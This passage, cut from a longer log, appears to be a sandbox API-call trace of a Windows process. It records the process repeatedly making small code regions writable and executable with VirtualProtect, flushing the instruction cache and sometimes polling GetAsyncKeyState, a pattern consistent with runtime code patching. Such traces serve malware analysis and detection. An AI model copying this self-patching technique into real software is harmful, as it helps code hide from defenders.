lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.487] GetCurrentProcess () returned 0xffffffff [0085.487] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36331, dwSize=0x2) returned 1 [0085.487] GetCurrentProcess () returned 0xffffffff [0085.487] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36350, dwSize=0x14) returned 1 [0085.487] VirtualProtect (in: lpAddress=0xcb36350, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.487] GetCurrentProcess () returned 0xffffffff [0085.487] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36351, dwSize=0x2) returned 1 [0085.487] GetCurrentProcess () returned 0xffffffff [0085.487] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36370, dwSize=0x14) returned 1 [0085.487] VirtualProtect (in: lpAddress=0xcb36370, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.488] GetCurrentProcess () returned 0xffffffff [0085.488] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36371, dwSize=0x2) returned 1 [0085.489] GetAsyncKeyState (vKey=3) returned 0 [0085.489] VarCmp (pvarLeft=0x197dcc, pvarRight=0x197dbc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0085.489] CRetailMalloc_Alloc () returned 0xcaec320 [0085.489] memcpy (in: _Dst=0xfa54f38, _Src=0x1976bc, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0085.489] memcpy (in: _Dst=0xcaec340, _Src=0x197724, _Size=0x18 | out: _Dst=0xcaec340) returned 0xcaec340 [0085.489] CRetailMalloc_Realloc () returned 0xcaec320 [0085.489] CRetailMalloc_Free () returned 0x1 [0085.489] GetCurrentProcess () returned 0xffffffff [0085.489] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6bc, dwSize=0x14) returned 1 [0085.489] VirtualProtect (in: lpAddress=0xf31a6bc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.490] GetCurrentProcess () returned 0xffffffff [0085.490] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6bd, dwSize=0x2) returned 1 [0085.490] GetCurrentProcess () returned 0xffffffff [0085.490] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6dc, dwSize=0x14) returned 1 [0085.490] VirtualProtect (in: lpAddress=0xf31a6dc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.490] GetCurrentProcess () returned 0xffffffff [0085.490] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6dd, dwSize=0x2) returned 1 [0085.490] GetCurrentProcess () returned 0xffffffff [0085.490] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6fc, dwSize=0x14) returned 1 [0085.490] VirtualProtect (in: lpAddress=0xf31a6fc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.491] GetCurrentProcess () returned 0xffffffff [0085.491] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6fd, dwSize=0x2) returned 1 [0085.491] GetCurrentProcess () returned 0xffffffff [0085.491] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a71c, dwSize=0x14) returned 1 [0085.491] VirtualProtect (in: lpAddress=0xf31a71c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.491] GetCurrentProcess () returned 0xffffffff [0085.491] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a71d, dwSize=0x2) returned 1 [0085.491] GetCurrentProcess () returned 0xffffffff [0085.491] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a73c, dwSize=0x14) returned 1 [0085.491] VirtualProtect (in: lpAddress=0xf31a73c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.492] GetCurrentProcess () returned 0xffffffff [0085.492] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a73d, dwSize=0x2) returned 1 [0085.492] GetCurrentProcess () returned 0xffffffff [0085.492] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a75c, dwSize=0x14) returned 1 [0085.492] VirtualProtect (in: lpAddress=0xf31a75c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.493] GetCurrentProcess () returned 0xffffffff [0085.493] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a75d, dwSize=0x2) returned 1 [0085.493] GetCurrentProcess () returned 0xffffffff [0085.493] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a77c, dwSize=0x14) returned 1 [0085.493] VirtualProtect (in: lpAddress=0xf31a77c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.494] GetCurrentProcess () returned 0xffffffff [0085.494] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a77d, dwSize=0x2) returned 1 [0085.494] GetCurrentProcess () returned 0xffffffff [0085.494] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a79c, dwSize=0x14) returned 1 [0085.494] VirtualProtect (in: lpAddress=0xf31a79c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.495] GetCurrentProcess () returned 0xffffffff [0085.495] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a79d, dwSize=0x2) returned 1 [0085.495] GetCurrentProcess () returned 0xffffffff [0085.495] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7bc, dwSize=0x14) returned 1 [0085.495] VirtualProtect (in: lpAddress=0xf31a7bc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.495] GetCurrentProcess () returned 0xffffffff [0085.495] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7bd, dwSize=0x2) returned 1 [0085.495] GetCurrentProcess () returned 0xffffffff [0085.495] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7dc, dwSize=0x14) returned 1 [0085.496] VirtualProtect (in: lpAddress=0xf31a7dc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.496] GetCurrentProcess () returned 0xffffffff [0085.496] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7dd, dwSize=0x2) returned 1 [0085.496] GetCurrentProcess () returned 0xffffffff [0085.496] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7fc, dwSize=0x14) returned 1 [0085.496] VirtualProtect (in: lpAddress=0xf31a7fc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.497] GetCurrentProcess () returned 0xffffffff [0085.497] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7fd, dwSize=0x2) returned 1 [0085.497] GetCurrentProcess () returned 0xffffffff [0085.497] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a81c, dwSize=0x14) returned 1 [0085.497] VirtualProtect (in: lpAddress=0xf31a81c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.498] GetCurrentProcess () returned 0xffffffff [0085.498] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a81d, dwSize=0x2) returned 1 [0085.498] GetCurrentProcess () returned 0xffffffff [0085.498] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cb8, dwSize=0x14) returned 1 [0085.498] VirtualProtect (in: lpAddress=0xcb35cb8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.498] GetCurrentProcess () returned 0xffffffff [0085.498] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cb9, dwSize=0x2) returned 1 [0085.498] GetCurrentProcess () returned 0xffffffff [0085.498] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cd8, dwSize=0x14) returned 1 [0085.498] VirtualProtect (in: lpAddress=0xcb35cd8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.499] GetCurrentProcess () returned 0xffffffff [0085.499] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cd9, dwSize=0x2) returned 1 [0085.499] GetCurrentProcess () returned 0xffffffff [0085.499] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cf8, dwSize=0x14) returned 1 [0085.499] VirtualProtect (in: lpAddress=0xcb35cf8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.500] GetCurrentProcess () returned 0xffffffff [0085.500] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cf9, dwSize=0x2) returned 1 [0085.500] GetCurrentProcess () returned 0xffffffff [0085.500] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d18, dwSize=0x14) returned 1 [0085.500] VirtualProtect (in: lpAddress=0xcb35d18, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.500] GetCurrentProcess () returned 0xffffffff [0085.500] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d19, dwSize=0x2) returned 1 [0085.500] GetCurrentProcess () returned 0xffffffff [0085.500] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d38, dwSize=0x14) returned 1 [0085.501] VirtualProtect (in: lpAddress=0xcb35d38, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.501] GetCurrentProcess () returned 0xffffffff [0085.501] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d39, dwSize=0x2) returned 1 [0085.501] GetCurrentProcess () returned 0xffffffff [0085.501] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d58, dwSize=0x14) returned 1 [0085.501] VirtualProtect (in: lpAddress=0xcb35d58, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.502] GetCurrentProcess () returned 0xffffffff [0085.502] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d59, dwSize=0x2) returned 1 [0085.502] GetCurrentProcess () returned 0xffffffff [0085.502] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d78, dwSize=0x14) returned 1 [0085.502] VirtualProtect (in: lpAddress=0xcb35d78, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.502] GetCurrentProcess () returned 0xffffffff [0085.502] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d79, dwSize=0x2) returned 1 [0085.502] GetCurrentProcess () returned 0xffffffff [0085.502] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d98, dwSize=0x14) returned 1 [0085.503] VirtualProtect (in: lpAddress=0xcb35d98, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.503] GetCurrentProcess () returned 0xffffffff [0085.503] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d99, dwSize=0x2) returned 1 [0085.503] GetCurrentProcess () returned 0xffffffff [0085.503] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35db8, dwSize=0x14) returned 1 [0085.503] VirtualProtect (in: lpAddress=0xcb35db8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.504] GetCurrentProcess () returned 0xffffffff [0085.504] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35db9, dwSize=0x2) returned 1 [0085.504] GetCurrentProcess () returned 0xffffffff [0085.504] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35dd8, dwSize=0x14) returned 1 [0085.504] VirtualProtect (in: lpAddress=0xcb35dd8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.505] GetCurrentProcess () returned 0xffffffff [0085.505] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35dd9, dwSize=0x2) returned 1 [0085.505] GetCurrentProcess () returned 0xffffffff [0085.505] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35df8, dwSize=0x14) returned 1 [0085.505] VirtualProtect (in: lpAddress=0xcb35df8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.505] GetCurrentProcess () returned 0xffffffff [0085.505] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35df9, dwSize=0x2) returned 1 [0085.505] GetCurrentProcess () returned 0xffffffff [0085.505] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e18, dwSize=0x14) returned 1 [0085.505] VirtualProtect (in: lpAddress=0xcb35e18, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.506] GetCurrentProcess () returned 0xffffffff [0085.506] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e19, dwSize=0x2) returned 1 [0085.506] GetCurrentProcess () returned 0xffffffff [0085.506] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e38, dwSize=0x14) returned 1 [0085.506] VirtualProtect (in: lpAddress=0xcb35e38, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.507] GetCurrentProcess () returned 0xffffffff [0085.507] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e39, dwSize=0x2) returned 1 [0085.507] GetCurrentProcess () returned 0xffffffff [0085.507] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e58, dwSize=0x14) returned 1 [0085.507] VirtualProtect (in: lpAddress=0xcb35e58, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.507] GetCurrentProcess () returned 0xffffffff [0085.507] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e59, dwSize=0x2) returned 1 [0085.507] GetCurrentProcess () returned 0xffffffff [0085.508] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e78, dwSize=0x14) returned 1 [0085.508] VirtualProtect (in: lpAddress=0xcb35e78, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.508] GetCurrentProcess () returned 0xffffffff [0085.508] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e79, dwSize=0x2) returned 1 [0085.508] GetCurrentProcess () returned 0xffffffff [0085.508] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e98, dwSize=0x14) returned 1 [0085.508] VirtualProtect (in: lpAddress=0xcb35e98, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.847] GetCurrentProcess () returned 0xffffffff [0085.847] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e99, dwSize=0x2) returned 1 [0085.847] GetCurrentProcess () returned 0xffffffff [0085.847] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36330, dwSize=0x14) returned 1 [0085.847] VirtualProtect (in: lpAddress=0xcb36330, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.847] GetCurrentProcess () returned 0xffffffff [0085.847] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36331, dwSize=0x2) returned 1 [0085.847] GetCurrentProcess () returned 0xffffffff [0085.847] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36350, dwSize=0x14) returned 1 [0085.847] VirtualProtect (in: lpAddress=0xcb36350, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.848] GetCurrentProcess () returned 0xffffffff [0085.848] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36351, dwSize=0x2) returned 1 [0085.848] GetCurrentProcess () returned 0xffffffff [0085.848] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36370, dwSize=0x14) returned 1 [0085.848] VirtualProtect (in: lpAddress=0xcb36370, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.848] GetCurrentProcess () returned 0xffffffff [0085.848] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36371, dwSize=0x2) returned 1 [0085.849] GetAsyncKeyState (vKey=3) returned 0 [0085.849] GetAsyncKeyState (vKey=3) returned 0 [0085.849] VarCmp (pvarLeft=0x197dcc, pvarRight=0x197dbc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0085.850] CRetailMalloc_Alloc () returned 0xcaec380 [0085.850] memcpy (in: _Dst=0xfa54f38, _Src=0x1976bc, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0085.850] memcpy (in: _Dst=0xcaec3a0, _Src=0x197724, _Size=0x18 | out: _Dst=0xcaec3a0) returned 0xcaec3a0 [0085.850] CRetailMalloc_Realloc () returned 0xcaec380 [0085.850] CRetailMalloc_Free () returned 0x1 [0085.850] GetCurrentProcess () returned 0xffffffff [0085.850] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6bc, dwSize=0x14) returned 1 [0085.850] VirtualProtect (in: lpAddress=0xf31a6bc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.851] GetCurrentProcess () returned 0xffffffff [0085.851] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6bd, dwSize=0x2) returned 1 [0085.851] GetCurrentProcess () returned 0xffffffff [0085.851] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6dc, dwSize=0x14) returned 1 [0085.851] VirtualProtect (in: lpAddress=0xf31a6dc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.851] GetCurrentProcess () returned 0xffffffff [0085.851] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6dd, dwSize=0x2) returned 1 [0085.851] GetCurrentProcess () returned 0xffffffff [0085.851] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6fc, dwSize=0x14) returned 1 [0085.851] VirtualProtect (in: lpAddress=0xf31a6fc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.852] GetCurrentProcess () returned 0xffffffff [0085.852] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6fd, dwSize=0x2) returned 1 [0085.852] GetCurrentProcess () returned 0xffffffff [0085.852] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a71c, dwSize=0x14) returned 1 [0085.852] VirtualProtect (in: lpAddress=0xf31a71c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.853] GetCurrentProcess () returned 0xffffffff [0085.853] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a71d, dwSize=0x2) returned 1 [0085.853] GetCurrentProcess () returned 0xffffffff [0085.853] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a73c, dwSize=0x14) returned 1 [0085.853] VirtualProtect (in: lpAddress=0xf31a73c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.853] GetCurrentProcess () returned 0xffffffff [0085.853] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a73d, dwSize=0x2) returned 1 [0085.853] GetCurrentProcess () returned 0xffffffff [0085.853] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a75c, dwSize=0x14) returned 1 [0085.853] VirtualProtect (in: lpAddress=0xf31a75c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.854] GetCurrentProcess () returned 0xffffffff [0085.854] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a75d, dwSize=0x2) returned 1 [0085.854] GetCurrentProcess () returned 0xffffffff [0085.854] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a77c, dwSize=0x14) returned 1 [0085.854] VirtualProtect (in: lpAddress=0xf31a77c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.855] GetCurrentProcess () returned 0xffffffff [0085.855] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a77d, dwSize=0x2) returned 1 [0085.855] GetCurrentProcess () returned 0xffffffff [0085.855] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a79c, dwSize=0x14) returned 1 [0085.855] VirtualProtect (in: lpAddress=0xf31a79c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.856] GetCurrentProcess () returned 0xffffffff [0085.856] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a79d, dwSize=0x2) returned 1 [0085.856] GetCurrentProcess () returned 0xffffffff [0085.856] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7bc, dwSize=0x14) returned 1 [0085.856] VirtualProtect (in: lpAddress=0xf31a7bc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.857] GetCurrentProcess () returned 0xffffffff [0085.857] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7bd, dwSize=0x2) returned 1 [0085.857] GetCurrentProcess () returned 0xffffffff [0085.857] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7dc, dwSize=0x14) returned 1 [0085.857] VirtualProtect (in: lpAddress=0xf31a7dc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.858] GetCurrentProcess () returned 0xffffffff [0085.858] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7dd, dwSize=0x2) returned 1 [0085.858] GetCurrentProcess () returned 0xffffffff [0085.858] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7fc, dwSize=0x14) returned 1 [0085.858] VirtualProtect (in: lpAddress=0xf31a7fc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.859] GetCurrentProcess () returned 0xffffffff [0085.859] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7fd, dwSize=0x2) returned 1 [0085.859] GetCurrentProcess () returned 0xffffffff [0085.859] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a81c, dwSize=0x14) returned 1 [0085.859] VirtualProtect (in: lpAddress=0xf31a81c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.859] GetCurrentProcess () returned 0xffffffff [0085.859] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a81d, dwSize=0x2) returned 1 [0085.859] GetCurrentProcess () returned 0xffffffff [0085.859] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cb8, dwSize=0x14) returned 1 [0085.859] VirtualProtect (in: lpAddress=0xcb35cb8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.860] GetCurrentProcess () returned 0xffffffff [0085.860] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cb9, dwSize=0x2) returned 1 [0085.860] GetCurrentProcess () returned 0xffffffff [0085.860] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cd8, dwSize=0x14) returned 1 [0085.860] VirtualProtect (in: lpAddress=0xcb35cd8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.861] GetCurrentProcess () returned 0xffffffff [0085.861] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cd9, dwSize=0x2) returned 1 [0085.861] GetCurrentProcess () returned 0xffffffff [0085.861] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cf8, dwSize=0x14) returned 1 [0085.861] VirtualProtect (in: lpAddress=0xcb35cf8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.861] GetCurrentProcess () returned 0xffffffff [0085.861] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cf9, dwSize=0x2) returned 1 [0085.862] GetCurrentProcess () returned 0xffffffff [0085.862] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d18, dwSize=0x14) returned 1 [0085.862] VirtualProtect (in: lpAddress=0xcb35d18, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.862] GetCurrentProcess () returned 0xffffffff [0085.862] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d19, dwSize=0x2) returned 1 [0085.862] GetCurrentProcess () returned 0xffffffff [0085.862] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d38, dwSize=0x14) returned 1 [0085.862] VirtualProtect (in: lpAddress=0xcb35d38, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.863] GetCurrentProcess () returned 0xffffffff [0085.863] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d39, dwSize=0x2) returned 1 [0085.863] GetCurrentProcess () returned 0xffffffff [0085.863] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d58, dwSize=0x14) returned 1 [0085.863] VirtualProtect (in: lpAddress=0xcb35d58, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.864] GetCurrentProcess () returned 0xffffffff [0085.864] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d59, dwSize=0x2) returned 1 [0085.864] GetCurrentProcess () returned 0xffffffff [0085.864] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d78, dwSize=0x14) returned 1 [0085.864] VirtualProtect (in: lpAddress=0xcb35d78, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.864] GetCurrentProcess () returned 0xffffffff [0085.864] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d79, dwSize=0x2) returned 1 [0085.864] GetCurrentProcess () returned 0xffffffff [0085.864] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d98, dwSize=0x14) returned 1 [0085.864] VirtualProtect (in: lpAddress=0xcb35d98, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.865] GetCurrentProcess () returned 0xffffffff [0085.865] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d99, dwSize=0x2) returned 1 [0085.865] GetCurrentProcess () returned 0xffffffff [0085.865] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35db8, dwSize=0x14) returned 1 [0085.865] VirtualProtect (in: lpAddress=0xcb35db8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0085.865] GetCurrentProcess () returned 0xffffffff [0085.865] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35db9, dwSize=0x2) returned 1 [0085.865] 